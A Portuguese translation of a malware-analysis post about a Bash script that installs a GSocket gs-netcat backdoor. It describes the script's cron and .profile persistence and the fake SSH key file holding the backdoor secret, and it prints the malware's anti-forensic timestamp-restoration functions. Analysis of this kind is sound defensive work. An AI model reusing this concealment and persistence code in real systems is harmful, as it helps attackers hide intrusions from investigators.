Ontem, descobri um script Bash malicioso que instala um backdoor GSocket no computador da vítima. Não sei a origem do script nem como ele é entregue à vítima.
GSocket() é uma ferramenta de rede, mas também uma infraestrutura de retransmissão, que permite a comunicação direta, no estilo peer-to-peer, entre sistemas usando um segredo compartilhado em vez de endereços IP ou portas abertas. Funciona fazendo com que ambos os lados se conectem a uma rede de retransmissão global. Ferramentas como o gs-netcat podem fornecer shells remotos, transferência de arquivos ou tunelamento e contornar os controles de segurança clássicos. O script que encontrei usa uma cópia do gs-netcat, mas a forma como ele implementa persistência e técnicas anti-forenses merece uma revisão.
Algumas semanas atrás, encontrei um exemplo que usava a conectividade GSocket como canal C2. Isso me deixou curioso e comecei a procurar mais amostras. Bingo! O novo que encontrei (SHA256:6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286(2)) foi detectado por apenas 17 soluções antivírus no VT. O script não está ofuscado e ainda tem comentários, então acho que foi carregado no VT para fins de “teste” pelo desenvolvedor (apenas um palpite)
Vamos dar uma olhada nas técnicas utilizadas. Ao executá-lo em uma sandbox, você verá o seguinte:
Observe a identificação da ferramenta (“G-Socket Bypass Stealth”) e a referência a “@bboscat”(3)
Um cliente GSocket é baixado, iniciado e está conversando com o seguinte IP:

O malware implementa persistência por meio de diferentes técnicas conhecidas no Linux. Primeiro, um cron job é criado:

A cada hora principal, o gs-netcat disfarçado será eliminado (se estiver em execução) e reiniciado. Para melhorar a persistência, o mesmo código é adicionado ao .profile da vítima:

O malware em si é copiado em .ssh/putty e o segredo compartilhado do GSocket é armazenado em um arquivo de chave SSH falso:

O arquivo ELF id_rsa (SHA256: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa) é a ferramenta gs-netcat baixada diretamente do G-Socket CDN.
Ok, vamos dar uma olhada em uma técnica anti-forense interessante implementada no script Bash. As operações de arquivo não são simplesmente executadas usando comandos clássicos como cp, rm, mv, etc. Elas são incorporadas em funções “auxiliares” com um sistema de rastreamento/restauração de carimbo de data/hora para que o malware possa posteriormente ocultar alterações no sistema de arquivos. Aqui está um exemplo com uma função que criará um arquivo:
mk_file()
{
local fn
local oldest
local pdir
local pdir_added
fn="$1"
local exists
# DEBUGF "${CC}MK_FILE($fn)${CN}"
pdir="$(dirname "$fn")"
(( -e "$fn" )) && exists=1
ts_is_marked "$pdir" || {
# HERE: Parent not tracked
_ts_add "$pdir" ""
pdir_added=1
}
ts_is_marked "$fn" || {
# HERE: Not yet tracked
_ts_get_ts "$fn"
# Do not add creation fails.
touch "$fn" 2>/dev/null || {
# HERE: Permission denied
(( -n "$pdir_added" )) && {
# Remove pdir if it was added above
# Bash <5.0 does not support arr(-1)
# Quote (") to silence shellcheck
unset "_ts_ts_a(${#_ts_ts_a(@)}-1)"
unset "_ts_fn_a(${#_ts_fn_a(@)}-1)"
unset "_ts_mkdir_fn_a(${#_ts_mkdir_fn_a(@)}-1)"
}
return 69 # False
}
(( -z $exists )) && chmod 600 "$fn"
_ts_ts_a+=("$_ts_ts")
_ts_fn_a+=("$fn");
_ts_mkdir_fn_a+=(" ")
return
}
touch "$fn" 2>/dev/null || return
(( -z $exists )) && chmod 600 "$fn"
true
} Aqui estão também duas funções interessantes:
# Restore timestamp of files
ts_restore()
{
local fn
local n
local ts
(( ${#_ts_fn_a(@)} -ne ${#_ts_ts_a(@)} )) && { echo >&2 "Ooops"; return; }
n=0
while :; do
(( $n -eq "${#_ts_fn_a(@)}" )) && break
ts="${_ts_ts_a($n)}"
fn="${_ts_fn_a($n)}"
# DEBUGF "RESTORE-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts"
done
unset _ts_fn_a
unset _ts_ts_a
n=0
while :; do
(( $n -eq "${#_ts_systemd_ts_a(@)}" )) && break
ts="${_ts_systemd_ts_a($n)}"
fn="${_ts_systemd_fn_a($n)}"
# DEBUGF "RESTORE-LAST-TS ${fn} ${ts}"
((n++))
_ts_fix "$fn" "$ts" "symlink"
done
unset _ts_systemd_fn_a
unset _ts_systemd_ts_a
}
ts_is_marked()
{
local fn
local a
fn="$1"
for a in "${_ts_fn_a(@)}"; do
(( "$a" = "$fn" )) && return 0 # True
done
return 1 # False
}ts_is_marked() verifica se um arquivo/diretório já está registrado para restauração de carimbo de data/hora, evitando rastreamento duplicado e garantindo que a manipulação anti-forense de carimbo de data/hora do script funcione corretamente. Pedi ao ChatGPT para gerar um gráfico que explicasse esta técnica:

Finalmente, por ser totalmente baseado em Bash, o script infectará todos os tipos de UNIX, incluindo MacOS:
(( -z "$OSTYPE" )) && {
local osname
osname="$(uname -s)"
if (( "$osname" == *FreeBSD* )); then
OSTYPE="FreeBSD"
elif (( "$osname" == *Darwin* )); then
OSTYPE="darwin22.0"
elif (( "$osname" == *OpenBSD* )); then
OSTYPE="openbsd7.3"
elif (( "$osname" == *Linux* )); then
OSTYPE="linux-gnu"
fi
}(1)
(2) https://www.virustotal.com/gui/file/6ce69f0a0db6c5e1479d2b05fb361846957f5ad8170f5e43c7d66928a43f3286/telemetria
???????(3) https://zone-xsec.com/archive/attacker/%40bboscat
Xavier Mertens (@xme)
Xameco
Manipulador ISC Sênior – Consultor Freelance de Segurança Cibernética
Chave PGP
Deseja saber mais sobre Segurança Clique Aqui!

Perito em Computação Forense e Crimes Cibernéticos
Investigação Digital | Laudos Técnicos | Resposta a Incidentes
Bacharel em Sistemas da Informação, Certificado Microsoft Azure IA e MOS. Trabalho como Administrador de Redes, Firewall e Servidores Windows e Linux!
Minhas atividades favoritas são: Caminhar, Fazer Trilhas, Natureza, Insetos e claro ler sobre Tecnologia.

